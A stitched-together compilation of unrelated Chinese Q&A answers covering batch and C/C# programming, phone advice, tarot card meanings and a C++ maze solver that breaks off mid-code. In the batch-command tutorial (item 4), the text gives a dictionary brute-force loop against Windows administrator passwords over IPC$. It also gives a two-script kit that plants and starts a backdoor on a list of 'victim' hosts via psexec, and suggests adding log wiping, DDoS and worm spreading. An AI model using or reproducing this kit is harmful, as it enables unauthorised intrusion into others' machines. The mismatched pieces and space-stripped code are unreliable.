数字货币CLS

1. 数字转换成人民币金额的批处理

@echooff

set中=零壹贰叁肆伍陆柒捌玖
set位=万仟佰拾亿仟佰拾万仟佰拾元
set/pvar=输入数字:
setn=0
:add
ifnot"!var:~%n%,1!"==""(set/an+=1&gotoadd)
set/am=!n!-1
setnum=0
for%%iin(%中%)do(
setnet=%%i
call:num
set/anum+=1
)
set"var=!var:0.0=零!"
sety=1
for/l%%iin(0,1,%m%)do(
set/ax=!n!-%%i
setxx=%%i
call:show
)
set/pvalue=<$
del$
cls
echo!value!整
pause
exit
:show
set/p=!var:~%xx%,1!!位:~-%x%,1!<nul>>$
:num
ifnoty==1(
set"var=!var:%num%=%net%!"
)

遇到连00的数字就不行了，这也是代码的弊端。转换后只作显示

2. 想买手机，介绍。一千元以下，好的才给分！

索爱 w830 w850
w开头的索爱有几款是1000一下的，不过大部分是07、06的机子

3. long a， b， c； unsigned short e， a_34c；是什么意思,

Unsigned类型包括Uint、Ulong、UshortUint数据类型(1)Uint数据类型能够持有不带正负号的32位(亦即4个字节)整数，数值范围从0至2的32次方-1(2)Uint与Int数据类型是在32位平台上最有效率的数据类型，而且它们将会提供你应用程序最佳的性能。虽然那些较小的整数类型(包括：Ushort、Short、Byte与Sbyte)使用较少的位，但是却需要花较多的时间来加载、保存以及提取。(3)由于Uint是一个不带正负号的类型，因此它不能代表一个负数。如果你在一个会被计算成Uint类型的表达式上加了一个负号，Visual C#会将此表达式转化成Long。(4)Visual C#里的Uint区域变量在使用之前必须初始化(myUint =new Uint();)，且Uint数据类型的默认值为0。(5)Uint数据类型可以扩展成Long、Ulong、Flort、Double与Decimal，这意味着，你可以将Uint转换成这类数据类型而不会发生溢出错误。(6)你可以在一个常值之后加上类型字元U或u来表示此常值是Uint数据类型。例如：MessageBox.Show(TypeName(3993U));(7)在CLS兼容性方面，Uint数据类型并不是公共语言规范的一部分。(公共语言规范-Common Language Specifications(CLS)规定了.NET平台上的编程语言之间进行相会操作的规则；一个遵循了全部CLS规则的组件称为“符合CLS规范”的组件。如果你的代码违反了任一项CLS规范，那么用编写该组件以外的语言编写的程序，就有可能无法使用该组件)。(8)C#数据类型和.NET Framework中对应的数据类型是等价的,Uint数据类型在.NET Framework中的对应类型是System.UInt32结构。Ulong数据类型(1)Ulong数据类型能够持有不带正负号的64位(亦即8个字节)整数，数值范围从0至2的64次方-1(2)由于Ulong是一个不带正负号的类型，因此它不能代表一个负数。如果你在一个会被计算成Ulong类型的表达式上加了一个负号，Visual C#会将此表达式转化成Decimal。(3)Ulong数据类型可以扩展成Flort、Double与Decimal，这意味着，你可以将Ulong转换成这类数据类型而不会发生溢出错误。(4)你可以在一个常值之后加上类型字元UL来表示此常值是Uint数据类型。例如：MessageBox.Show(TypeName(3993UL));(5)Ulong数据类型在.NET Framework中的对应类型是System.UInt64结构。(6)Visual C#里的Ulong区域变量在使用之前必须初始化(myUlong =new Ulong();)，且Ulong数据类型的默认值为0。(7)同Uint(7)Ushort数据类型(1)Ushort数据类型能够持有不带正负号的16位(亦即2个字节)整数，数值范围从0至2的16次方-1(2)由于Ushort是一个不带正负号的类型，因此它不能代表一个负数。如果你在一个会被计算成Ushort类型的表达式上加了一个负号，Visual C#会将此表达式转化成Int。(3)Ushort数据类型可以扩展成Int、Uint、Long、Ulong、Flort、Double与Decimal，这意味着，你可以将Ushort转换成这类数据类型而不会发生溢出错误。(4)Ushort数据类型在.NET Framework中的对应类型是System.UInt16结构。(5)Visual C#里的Ushort区域变量在使用之前必须初始化(myUshort =new Ushort();)，且Ushort数据类型的默认值为0。(6)你不需要在一个常值之后加上任何任何类型字元来表示此常值是Ushort数据类型。(7)同Uint(7)Sbyte数据类型(1)Sbyte数据类型能够持有带正负号的8位(亦即1个字节)整数，数值范围从-128至127。(2)同Uint(7)(3)Visual C#里的Sbyte区域变量在使用之前必须初始化(mySbyte =new Sbyte();)，且Sbyte数据类型的默认值为0。(4)Sbyte数据类型可以扩展成Short、Int、Long、Flort、Double与Decimal，这意味着，你可以将Sbyte转换成这类数据类型而不会发生溢出错误。(5)Sbyte数据类型不具备任何类型字元。(6)Sbyte数据类型在.NET Framework中的对应类型是System.Sbyte结构。Decimal数据类型(1)Decimal关键字表示128位数据类型。同浮点型相比，decimal 类型具有更高的精度和更小的范围，这使它适合于财务和货币计算。(2)Decimal大致范围±1.0 × 10的负28次方到 ±7.9 × 10的正28次方，精度为28到29位有效位。(3)你可以在一个常值之后加上类型字元M或m来表示此常值是Decimal数据类型。如：decimal myMoney = 300.5m;如果没有后缀字元m，数字将被视为Double类型，从而导致编译器错误。(4)整型被隐式转换为Decimal，其计算结果为Decimal。因此，可以用整数初始化十进制变量而不使用后缀字元，如decimal myMoney = 300;(5)在浮点型和Decimal类型之间不存在隐式转换；因此，必须使用强制转换在这两种类型之间进行转换。

4. bat命令、全一点的、给加分

一.简单批处理内部命令简介 1.Echo 命令 打开回显或关闭请求回显功能，或显示消息。如果没有任何参数，echo 命令将显示当前回显设置。 语法 echo [{onoff}] [message] Sample：@echo off / echo hello world 在实际应用中我们会把这条命令和重定向符号（也称为管道符号，一般用> >> ^）结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。 2.@ 命令 表示不显示@后面的命令，在入侵过程中（例如使用批处理来格式化敌人的硬盘）自然不能让对方看到你使用的命令啦。 Sample：@echo off @echo Now initializing the program,please wait a minite... @format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的，可喜的是微软留了个autoset这个参数给我们，效果和/y是一样的。) 3.Goto 命令 指定跳转到标签，找到标签后，程序将处理从下一行开始的命令。 语法：goto label （label是参数，指定所要转向的批处理程序中的行。） Sample： if {%1}=={} goto noparms if {%2}=={} goto noparms（如果这里的if、%1、%2你不明白的话，先跳过去，后面会有详细的解释。） @Rem check parameters if null show usage :noparms echo Usage: monitor.bat ServerIP PortNumber goto end 标签的名字可以随便起，但是最好是有意义的字母啦，字母前加个：用来表示这个字母是标签，goto命令就是根据这个：来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。 4.Rem 命令 注释命令，在C语言中相当与/*--------*/,它并不会被执行，只是起一个注释的作用，便于别人阅读和你自己日后修改。 Rem Message Sample：@Rem Here is the description. 5.Pause 命令 运行 Pause 命令时，将显示下面的消息： Press any key to continue . . . Sample： @echo off :begin a:*.* d：\back echo Please put a new disk into driver A pause goto begin 在这个例子中，驱动器 A 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入驱动器 A 时，pause 命令会使程序挂起，以便您更换磁盘，然后按任意键继续处理。
6.Call 命令 从一个批处理程序调用另一个批处理程序，并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call，它将不会在命令行起作用。 语法 call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]] 参数 [Drive:}[Path] FileName 指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。 7.start 命令 调用外部程序，所有的DOS命令和命令行程序都可以由start命令来调用。 入侵常用参数： MIN 开始时窗口最小化 SEPARATE 在分开的空间内开始 16 位 Windows 程序 HIGH 在 HIGH 优先级类别开始应用程序 REALTIME 在 REALTIME 优先级类别开始应用程序 WAIT 启动应用程序并等候它结束 parameters 这些为传送到命令/程序的参数 执行的应用程序是 32-位 GUI 应用程序时，CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行，该新行为则不会发生。 8.choice 命令 choice 使用此命令可以让用户输入一个字符，从而运行不同的命令。使用时应该加/c:参数，c:后应写提示可输入的字符，之间无空格。它的返回码为1234…… 如: choice /c:dme defrag,mem,end 将显示 defrag,mem,end[D,M,E]? Sample： Sample.bat的内容如下: @echo off choice /c:dme defrag,mem,end if errorlevel 3 goto defrag （应先判断数值最高的错误码） if errorlevel 2 goto mem if errotlevel 1 goto end :defrag c:\dos\defrag goto end :mem mem goto end :end echo good bye 此文件运行后，将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ，然后if语句将作出判断，d表示执行标号为defrag的程序段，m表示执行标号为mem的程序段，e表示执行标号为end的程序段，每个程序段最后都以goto end将程序跳到end标号处，然后程序将显示good bye，文件结束。 9.If 命令 if 表示将判断是否符合规定的条件，从而决定执行不同的命令。 有三种格式: 1、if "参数" == "字符串" 待执行的命令 参数如果等于指定的字符串，则条件成立，运行命令，否则运行下一句。(注意是两个等号） 如if "%1"=="a" format a: if {%1}=={} goto noparms if {%2}=={} goto noparms 2、if exist 文件名 待执行的命令 如果有指定的文件，则条件成立，运行命令，否则运行下一句。 如if exist config.sys edit config.sys 3、if errorlevel / if not errorlevel 数字 待执行的命令 如果返回码等于指定的数字，则条件成立，运行命令，否则运行下一句。 如if errorlevel 2 goto x2 DOS程序运行时都会返回一个数字给DOS，称为错误码errorlevel或称返回码，常见的返回码为0、1。
10.for 命令 for 命令是一个比较复杂的命令，主要用于参数在指定的范围内循环执行命令。 在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable for {%variable%%variable} in (set) do command [ CommandLineOptions] %variable 指定一个单一字母可替换的参数。 (set) 指定一个或一组文件。可以使用通配符。 command 指定对每个文件执行的命令。 command-parameters 为特定命令指定参数或命令行开关。 在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable 而不要用 %variable。变量名称是区分大小写的，所以 %i 不同于 %I 如果命令扩展名被启用，下列额外的 FOR 命令格式会受到 支持: FOR /D %variable IN (set) DO command [command-parameters] 如果集中包含通配符，则指定与目录名匹配，而不与文件名匹配。 FOR /R [[drive:]path] %variable IN (set) DO command [command- 检查以 [drive:]path 为根的目录树，指向每个目录中的FOR 语句。如果在 /R 后没有指定目录，则使用当前目录。如果集仅为一个单点(.)字符，则枚举该目录树。 FOR /L %variable IN (start,step,end) DO command [command-para 该集表示以增量形式从开始到结束的一个数字序列。 因此，(1,1,5) 将产生序列 1 2 3 4 5，(5,-1,1) 将产生 序列 (5 4 3 2 1)。 FOR /F ["options"] %variable IN (file-set) DO command FOR /F ["options"] %variable IN ("string") DO command FOR /F ["options"] %variable IN (command) DO command 或者，如果有 usebackq 选项: FOR /F ["options"] %variable IN (file-set) DO command FOR /F ["options"] %variable IN ("string") DO command FOR /F ["options"] %variable IN (command) DO command filenameset 为一个或多个文件名。继续到 filenameset 中的 下一个文件之前，每份文件都已被打开、读取并经过处理。 处理包括读取文件，将其分成一行行的文字，然后将每行 解析成零或更多的符号。然后用已找到的符号字符串变量值 调用 For 循环。以默认方式，/F 通过每个文件的每一行中分开 的第一个空白符号。跳过空白行。您可通过指定可选 "options" 参数替代默认解析操作。这个带引号的字符串包括一个或多个 指定不同解析选项的关键字。这些关键字为: eol=c - 指一个行注释字符的结尾(就一个) skip=n - 指在文件开始时忽略的行数。 delims=xxx - 指分隔符集。这个替换了空格和跳格键的 默认分隔符集。 tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代 的 for 本身。这会导致额外变量名称的 格式为一个范围。通过 nth 符号指定 m 符号字符串中的最后一个字符星号， 那么额外的变量将在最后一个符号解析之 分配并接受行的保留文本。 usebackq - 指定新语法已在下类情况中使用: 在作为命令执行一个后引号的字符串并且引号字符为文字字符串命令并允许在 fi中使用双引号扩起文件名称。
sample1: FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command 会分析 myfile.txt 中的每一行，忽略以分号打头的那些行，将每行中的第二个和第三个符号传递给 for 程序体；用逗号和/或空格定界符号。请注意，这个 for 程序体的语句引用 %i 来取得第二个符号，引用 %j 来取得第三个符号，引用 %k来取得第三个符号后的所有剩余符号。对于带有空格的文件名，您需要用双引号将文件名括起来。为了用这种方式来使用双引号，您还需要使用 usebackq 选项，否则，双引号会被理解成是用作定义某个要分析的字符串的。 %i 专门在 for 语句中得到说明，%j 和 %k 是通过 tokens= 选项专门得到说明的。您可以通过 tokens= 一行指定最多 26 个符号，只要不试图说明一个高于字母 z 或Z 的变量。请记住，FOR 变量是单一字母、分大小写和全局的同时不能有 52 个以上都在使用中。 您还可以在相邻字符串上使用 FOR /F 分析逻辑；方法是，用单引号将括号之间的 filenameset 括起来。这样，该字符串会被当作一个文件中的一个单一输入行。 最后，您可以用 FOR /F 命令来分析命令的输出。方法是，将括号之间的 filenameset 变成一个反括字符串。该字符串会被当作命令行，传递到一个子 CMD.EXE，其输出会被抓进内存，并被当作文件分析。因此，以下例子: FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i 会枚举当前环境中的环境变量名称。 另外，FOR 变量参照的替换已被增强。您现在可以使用下列 选项语法: ~I - 删除任何引号(")，扩充 %I %~fI - 将 %I 扩充到一个完全合格的路径名 %~dI - 仅将 %I 扩充到一个驱动器号 %~pI - 仅将 %I 扩充到一个路径 %~nI - 仅将 %I 扩充到一个文件名 %~xI - 仅将 %I 扩充到一个文件扩展名 %~sI - 扩充的路径只含有短名 %~aI - 将 %I 扩充到文件的文件属性 %~tI - 将 %I 扩充到文件的日期/时间 %~zI - 将 %I 扩充到文件的大小 %~$PATH:I - 查找列在路径环境变量的目录，并将 %I 扩充到找到的第一个完全合格的名称。如果环境变量未被定义，或者没有找到文件，此组合键会扩充空字符串 可以组合修饰符来得到多重结果: %~dpI - 仅将 %I 扩充到一个驱动器号和路径 %~nxI - 仅将 %I 扩充到一个文件名和扩展名 %~fsI - 仅将 %I 扩充到一个带有短名的完整路径名 %~dp$PATH:i - 查找列在路径环境变量的目录，并将 %I 扩充到找到的第一个驱动器号和路径。 %~ftzaI - 将 %I 扩充到类似输出线路的 DIR 在以上例子中，%I 和 PATH 可用其他有效数值代替。%~ 语法 用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名比较易读，而且避免与不分大小写的组合键混淆。 以上是MS的官方帮助，下面我们举几个例子来具体说明一下For命令在入侵中的用途。 sample2： 利用For命令来实现对一台目标Win2k主机的暴力密码破解。 我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接，当成功时记下密码。 最主要的命令是一条：for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator" 用i%来表示admin的密码，在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令－－ for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"find ":命令成功完成">>D:\ok.txt ，这样就ko了。 sample3： 你有没有过手里有大量肉鸡等着你去种后门＋木马呢？，当数量特别多的时候，原本很开心的一件事都会变得很郁闷：）。文章开头就谈到使用批处理文件，可以简化日常或重复性任务。那么如何实现呢？呵呵，看下去你就会明白了。 主要命令也只有一条：（在批处理文件中使用 FOR 命令时，指定变量使用 %%variable） @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k tokens的用法请参见上面的sample1，在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。 而cultivate.bat无非就是用net use命令来建立IPC$连接，并木马＋后门到victim，然后用返回码（If errorlever =）来筛选成功种植后门的主机，并echo出来，或者echo到指定的文件。 delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列，一般就是 ip password username。 代码雏形： --------------- cut here then save as a batchfile(I call it main.bat ) ----------------- @echo off @if "%1"=="" goto usage @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k @goto end :usage @echo run this batch in dos modle.or just double-click it. :end --------------- cut here then save as a batchfile(I call it main.bat ) ----------------- --------------- cut here then save as a batchfile(I call it door.bat) ------------------ @net use \\%1\ipc$ %3 /u:"%2" @if errorlevel 1 goto failed @echo Trying to establish the IPC$ connection …………OK @ windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt @pse*x*e*c \\%1 c:\winnt\system32\windrv32.exe @ps*e*x*e*c \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt :failed @echo Sorry can not connected to the victim. ----------------- cut here then save as a batchfile(I call it door.bat) -
-------------- 这只是一个自动种植后门批处理的雏形，两个批处理和后门程序（Windrv32.exe）,PS*e*x*e*c.exe需放在统一目录下.批处理内容 尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究。

5. C#有什么用

就是一个计算机编程语言 至于 怎么用完全在你 不在它 你能把它用到什么地方 能用到什么程度 能给你带来什么 完全取决你自己 用处 因为c#是语言 很多平台都用到 比如 .net asp. net wpf wcf silverlight 等等 都会用到

6. 塔罗牌牌意(小阿尔卡纳)

一、权杖、圣杯、宝剑、星币
主牌代表了共通地主题，而辅牌则把这些主题扩展到现实中，展示出它们如何在日常事件中发生作用。辅牌代表逆关心地事情、你的行动、你的情绪，这些东西构筑出生活的剧本。
辅牌共56张，分为四组：杖（wands)、杯（Cups）、剑（Swords）和星（Pentacles）。许多塔罗使用另外的名字来称呼这四组牌。
每组牌都有特定的定义。

杖这一组，代表创造、行动和运动。它们与热情、探索、冒险和自信等品德相关。这一组相当与中国哲学力的“阳”或是男性特征，关联元素为火。一堆跳动的火焰是杖之力量的完美象征。这种能量向外发散，使人热情地参与事务。

杯这一组，代表情绪和心灵体验。它们描述了内心状态、感觉和关系。这种能量是向内聚集地。杯相当与中国哲学里的“阴”或是女性特征，关联元素为水。水可以流动，可以填满空隙，能够忍受，却又喜怒无常，这些都使它成为杯的典型象征。

剑这一组，代表才智、思考和原因。它们与公正、真诚、道德等相关。剑的关联元素是风。晴空开阔，万里无云，处处明亮，象征着清澈明晰的内心精神，这是剑的最好写照。这一组也会引向不协调与不辛。我们的头脑是一项宝贵的财产，但是它代表自我，如果没有心灵向导注入智慧，它便会把我们带入歧途。

星这一组，代表实践、安全和物质。它们与处理问题时的具体需求相关。星的关联元素是地。星的精神是赞颂大自然之美、与植物和动物互动，以及身体的生理感觉。星也代表各种各样的繁荣、成功和财富。有时这一组也被称为“钱币”。在这个物质世界上，当换取货物、享受服务时，“钱币”当然是最明显的象征了。

二、数字牌的能量运行
权杖、圣杯、宝剑、星币这四组牌都是由十张数字牌以及四张宫廷牌组成，很象我们经常玩的扑克牌。在塔罗牌的能量运行中，每张牌都扮演着自己的角色
首牌
首牌说明了本组的主题。例如：“圣杯首牌”代表爱、情绪、直觉，以及亲密关系——这些内容呈现在圣杯组的其他牌中。首牌始终代表正面的力量。它承载着本组所能提供的最好的东西。
中间牌
编有序号的中间牌（2～9），每张都代表本组的一个不同侧面。例如：权杖所揭示的主题中，有个人力量（权杖2）、领导能力（权杖3）、兴奋（权杖4）和竞争（权杖5）。一张牌可能会从几个角度探讨一个问题，例如：星币5显示出需求的许多方面——困难时期（物质需求）、健康不佳（生理需求），以及拒绝（感情需求）。
10号牌
每组第10号牌是把该组首牌的主题推导到一个逻辑结果上。例如：圣杯首牌代表爱、亲密关系以及情绪等等，如果你让它们发展下去，最后就会变成乐趣、平和以及家庭之爱，这正是“圣杯10”的内容。
宫廷牌
宫廷牌是一些个性化的人物，每个人物都拥有特殊的身份，象征我们人生中的特定角色或者特殊阶段。宫廷牌向我们展示一些特定的生存方式，因此在适当时候我们可以借鉴（或是避免）他们各自代表的那种处事原则。
国王
是成熟而男性化的。他是个实干家，在处理各种事务时，他比较关注外在的方面。在本组中，国王代表权威、控制与统御。国王的方式是强壮、果断、直接。他关心结果与实践，以及如何应对事务。
王后
成熟而女性化的。她包容本组的特性，将这一组牌的特质具像化而不是将它们实现出来。她关注着内在，她的方式是放松与自然的。王后更关心生存的乐趣，而不太看重结果。她与感觉、关系和自我表达相关。
骑士
一个未成熟的青年。他无法平衡的表现自己。他想要成功的适应世界，却在两个极端间大幅度摇摆。骑士的行为有时很过分，但是他是热切而忠诚的，因此我们能够原谅他。我们佩服并且羡慕他的精神与精力。
侍者
一个顽皮的孩子。他表现出这组牌的快乐和放纵的特质。他的方式或许不够深刻，但却是简单、轻松、出于本能的。他象征着冒险，探求与可能性。

三、小阿卡那关键词
首牌（开始）
权杖 行动 开始行动 能量之始、新行动、创造、机会、灵感
圣杯 情感 情绪上的开始 情感、爱、喜悦、感受
宝剑 思想 心智上的开始 思想、理智、新挑战、极端、决心
星币 物质 实质性的开始 物质、财富、享乐、安全、实质
2（决定）
权杖 身体或位置的决定 决定、权力、胆识、计划
圣杯 情绪上的联合 真爱、恋情、友谊、合作、结合
宝剑 信仰上的决定 僵局、逃避、抗拒、对立、紧张
星币 财务上的决定 流通、波动、弹性、平衡、娱乐
3（成长）
权杖 旅行或身体上的进步 成就、领导、远见、探索、贸易、合作
圣杯 情绪上的进步或庆祝 喜悦、欢庆、结盟、团体、宴会
宝剑 带来理解的痛苦 悲伤、失落、延迟
星币 学习带来实物的成长 计划、合作、协调、荣誉、才干
4（巩固）
权杖 身体上的巩固 稳固、欢庆、和谐、繁荣
圣杯 情绪上的巩固 选择、沉思、冷淡、退缩
宝剑 精神上的巩固 休息、消极、沉思、准备
星币 财务上的巩固 固守、占有、控制、获利、遗产
5（改变）
权杖 分散肉体的能量 冲突、争执、竞争、激战
圣杯 分离失落 失望、悲伤、失落
宝剑 内在的冲动 纷争、失落、自私、无谓的胜利、屈辱
星币 精神及财务上的贫困 贫困、疾病、艰苦、爱侣
6（稳定）
权杖 集中的能量及稳定 胜利、进展、自信、好消息
圣杯 情绪上的稳定 依靠、善意、童年、回忆、思乡、照顾、馈赠
宝剑 放弃旧信念 平静、忧郁、疗伤、痊愈、旅行
星币 财务上的稳定 施舍、慈善、慷慨、理财
7（别放弃）
权杖 身体上的挑战 勇气、防御、挑战、对立
圣杯 情感上的追求 梦想、迷惘、想象、选择
宝剑 心智上的适应 不名誉、欺诈、孤立、尝试、自信
星币 需要适应力的重大财务挑战 评估、待机、暂停、思索、收成
8（力量或个人能力）
权杖 充沛的体能 迅速、抵达、旅行、信息
圣杯 追寻更丰富生活的力量 追寻、丢弃、不满足、行动、牺牲
宝剑 发现摆脱他人的信念力量 限制、画地为牢、坏消息、压迫、迷惑
星币 决意在过去的成功上建立基础 专业、技能、勤劳、工作
9（重新评估）
权杖 重新评估哪个目标重要 审慎、警觉、固执、防御、经验
圣杯 满足感及健康的自我价值 满足、享乐、得意、美梦成真
宝剑 忧虑 担心、绝望、痛苦、失眠
星币 因实际努力达成物质上的成功 魅力、信心、成功、享受、自律、富足
10（完成）
权杖 太多的方案带来的负担 压迫、疲累、压力、努力、责任
圣杯 和谐的家庭或团体 幸福、家庭、满足、和谐、欢乐
宝剑 被人生观击倒 失败、惨痛、结束、黎明前的黑暗
星币 物质上稳固而持久的成功 家产、富裕、物质成功

侍者
权杖 认真 天真少年
圣杯 柔情 友善、好学、付出感情、好朋友
宝剑 机警 谣言、坏消息、侦探、间谍、狗仔队
星币 运用 学生、学徒、工匠、投资

骑士
权杖 积极 火热的年轻人、旅行
圣杯 体贴 浪漫、多情、才艺、白马王子
宝剑 强势 激进人士、极端份子
星币 积累 勤奋、现实、工作狂、拜金主义

王后
权杖 开朗 阳光女孩、傻大姐、女强人、巾帼英雄
圣杯 温存 想象力、关怀、感性、女诗人
宝剑 道德 寡妇、分离、冷若冰霜
星币 母爱 抚育、职业妇女、老板娘、少妇

国王
权杖 稳重 开国君王、霸王、雄心万丈的领导者
圣杯 宽容 爱家、关怀、慈善、新好男人、宗教家
宝剑 严肃 精明、专业人士
星币 可靠 事业有成、经济基础、大老板、企业大亨

7. 用C语言编写汇率计算器

#include<stdio.h>
#include<windows.h>
#include<math.h>
#define p 3.1415926
#define r p/180 //r=p/180,p=3.14....,p/180是求的1弧度，下面sin(里面要求的是弧度)，sin（30弧度）=0.5。 void main()
{
float i,j,k;
int l,m,n,a[10];
char cmd;
LOOP:
system("cls");
printf("***********************\n");
printf("*******小寒计算器******\n");
printf("***********************\n");
printf("\n\n本计算器提供+、-、*、/四种运算。\n");
printf("p-代表圆周率pai。\n");
printf("a-代表十进制转换为二进制。\n");
printf("b-代表十进制转换为八进制。\n");
printf("c-代表十进制转换为十六进制。\n");
printf("d-代表该数值开方。\n");
printf("e-代表该数值开立方。\n");
printf("f-代表求几次方。\n");
printf("S-代表sin。\n");
printf("C-代表cos。\n");
printf("T-代表tan。\n");
printf("\n\n请输入要计算的数字和运算符号，输入逗#地时，结束；输入逗！地时复位。\n");

scanf("%f",&k);
while((cmd=getchar())!='#')
{
if(i!=0)
switch(cmd)
{
case '+': scanf("%f",&i);
k=k+i;
printf("=%5.2f",k);
break; case '-': scanf("%f",&i);
k=k-i;
printf("=%5.2f",k);
break; case '*': scanf("%f",&i);
k=k*i;
printf("=%5.2f",k);
break; case '/': scanf("%f",&i);
k=k/i;
printf("=%5.2f",k);
break;

case 'p': k=k*p;
printf("%6.4f",k);
break; case 'f': printf("请输入要求该数字的几次方：");
scanf("%d",&n);
i=k;
for(m=0;m<n-1;m++)
k=k*i;
printf("%5.2f",k);
break; case 'a': printf("转换成二进制\n");
m=0;

while((int)k>0)
{
l=k;
k=k/2;
l=l%2;
a[m]=l;
m++;
}
for(n=m-1;n>=0;n--)
printf("%d",a[n]);
break; case 'b': printf("转换成八进制\n");
m=0;
while((int)k>0)
{
l=k;
k=k/8;
l=l%8;
a[m]=l;
m++;
}
for(n=m-1;n>=0;n--)
printf("%d",a[n]);
break;

case 'c': printf("转换成十六进制\n");
m=0;
while((int)k>0)
{
l=k;
k=k/16;
l=l%16;
a[m]=l;
m++;
}
for(n=m-1;n>=0;n--)
{
if(a[n]==10)
{ printf("A");continue;}
else if(a[n]==11)
{ printf("B");continue;}
else if(a[n]==12)
{ printf("C");continue;}
else if(a[n]==13)
{ printf("D");continue;}
else if(a[n]==14)
{ printf("E");continue;}
else if(a[n]==15)
{ printf("F");continue;} printf("%d",a[n]);
}

break;
case 'e': printf("该数值开立方得\n");
i=pow(k,1.0/3);
printf("%5.2f",i );
break;

case 'd': printf("该数值开方得\n");
i=k/2;
j=sqrt(k);
printf("%5.2f",j);
break; case 'S': k=k*r;
i=sin(k);
printf("%5.2f",i);
break;

case 'C': k=k*r;
i=cos(k);
printf("%5.2f",i);
break; case 'T': k=k*r;
i=tan(k);
printf("%5.2f",i);
break; case '!': goto LOOP;

}

}
}

8. 关于C语言的问题,高手进

1. 迷宫问题
/////////////////////////
/////////迷宫求解////////
//////作者:hacker/////
/////时间:11.10.2006/////
/////////////////////////
//Migong.h
//利用栈进行回溯
/*class:
Matrix:矩阵类
offsets:搜索偏移
enum directions:四个方向
struct item:搜索节点
Migong:迷宫类
1.创建一个Migong对象
2.使用用Create方法输入数据
3.使用Solve方法进行求解
4.ShowSolve方法显示解
5.可以重复使用Create方法
6.入口只能在左上角
7.默认出口在右下角
ShowAllPath:穷举所有的路径
备注:
由于算法原因,这里的所有路径应该是指
介于:
a.如果两条路存在某个点不同那么就是不同的路
b.如果在一条路中去掉一个或者一个以上的圈,那么他们是同一条路
之间意义上的路
*/
#include <iostream>
#include <stack>
#include <vector>

using namespace std;

#ifndef MIGONG_H
#define MIGONG_H
///////////////////
///////矩阵类//////
///////////////////
class Matrix{
int* m;
int row, col;
bool iscreate;
public:
Matrix(){m=0;iscreate=false;};
~Matrix() {Release();};
bool Create(int, int);
int& operator () (int, int);
int GetRow(){return row;};
int GetCol(){return col;};
void Release();
void Show(char, char );
};

bool Matrix::Create(int r, int c)
{
if( r<=0 || c<=0) return false;

Release();

row = r;
col = c;
m = new int[row*col];

for (int i=0;i<row*col;i++)
{
*(m+i) = 0;
}
iscreate = true;
return true;
}

int& Matrix::operator ()(int r, int c)
{
return *(m+r*col+c);
}

void Matrix::Release()
{
if (iscreate)
{
row = col = 0;
if (m) delete[] m;
m = 0;
}
iscreate = false;
}

void Matrix::Show(char blk='#', char nblk=' ')
{
int i, j;
for (i=0;i<row;i++)
{
for (j=0;j<col;j++)
{
if (*(m+i*col+j) == 0)
cout<<nblk;
else
cout<<blk;
}
cout<<endl;
}
}
/////////////////////////////
////迷宫相关数据结构的定义///
/////////////////////////////
struct offsets{
int a, b;
};

enum directions{
_S = 0,
_E,
_N,
_W
};

struct item{
int row, col, dir;
};

class Migong{
static offsets move[4];
Matrix maze;
Matrix mark;
int row;
int col;
int desr;
int desc;
stack<item> stk;
bool iscreate;
int pathlength;
bool GetPath();
bool IsInPath(int, int);
public:
Migong(){issolved=false;result=0;pathlength=row=col=0;iscreate=false;};
~Migong(){Release();};
bool Create(int* , int , int , int , int );
void Solve();
void Release();
void OutputMaze();
void ShowSolve(char, char );
public:
bool issolved;
item* result;
};

offsets Migong::move[4]={ {1, 0}, {0, 1},
{-1, 0}, {0, -1}};

////////////////////////////
//迷宫数据应该是不含边框的//
////////////////////////////
bool Migong::Create(int* m, int r, int c, int desrow=-1, int descol=-1)
{
if (r<=0 || c<=0) return false;

Release();

if (desrow==-1 || descol==-1)
{
desr = r;
desc = c;
}
else
{
desr = desrow;
desc = descol;
}

row = r;
col = c;
maze.Create(r+2, c+2);
mark.Create(r+2, c+2);

int i, j;

for (i=0;i<r+2;i++)
{
for (j=0;j<c+2;j++)
{
if (j==0 || j==c+1 || i==0 || i==r+1)
{
mark(i, j) = maze(i, j) = 1;

}else
{
mark(i, j) = 0;
maze(i, j) = m[((i-1)*col+j-1)];
}
}
}
return iscreate = true;
}

bool Migong::GetPath()
{
mark(1,1) = 1;
item temp;
temp.col = 1;
temp.row = 1;
temp.dir = _S;
stk.push(temp);

while (!stk.empty())
{
temp = stk.top();
stk.pop();

int i = temp.row;
int j = temp.col;
int d = temp.dir;

while (d<4)
{//根据当前点的状态确定下一个搜索点
int g = i + move[d].a;
int h = j + move[d].b;

if (g==desr && h==desc)
{
return true;
}
//如果这个点不是障碍点且没有被搜索过那么可以对这个点进行搜索
if (maze(g, h)==0 && mark(g, h)==0)
{
mark(g, h) = 1;
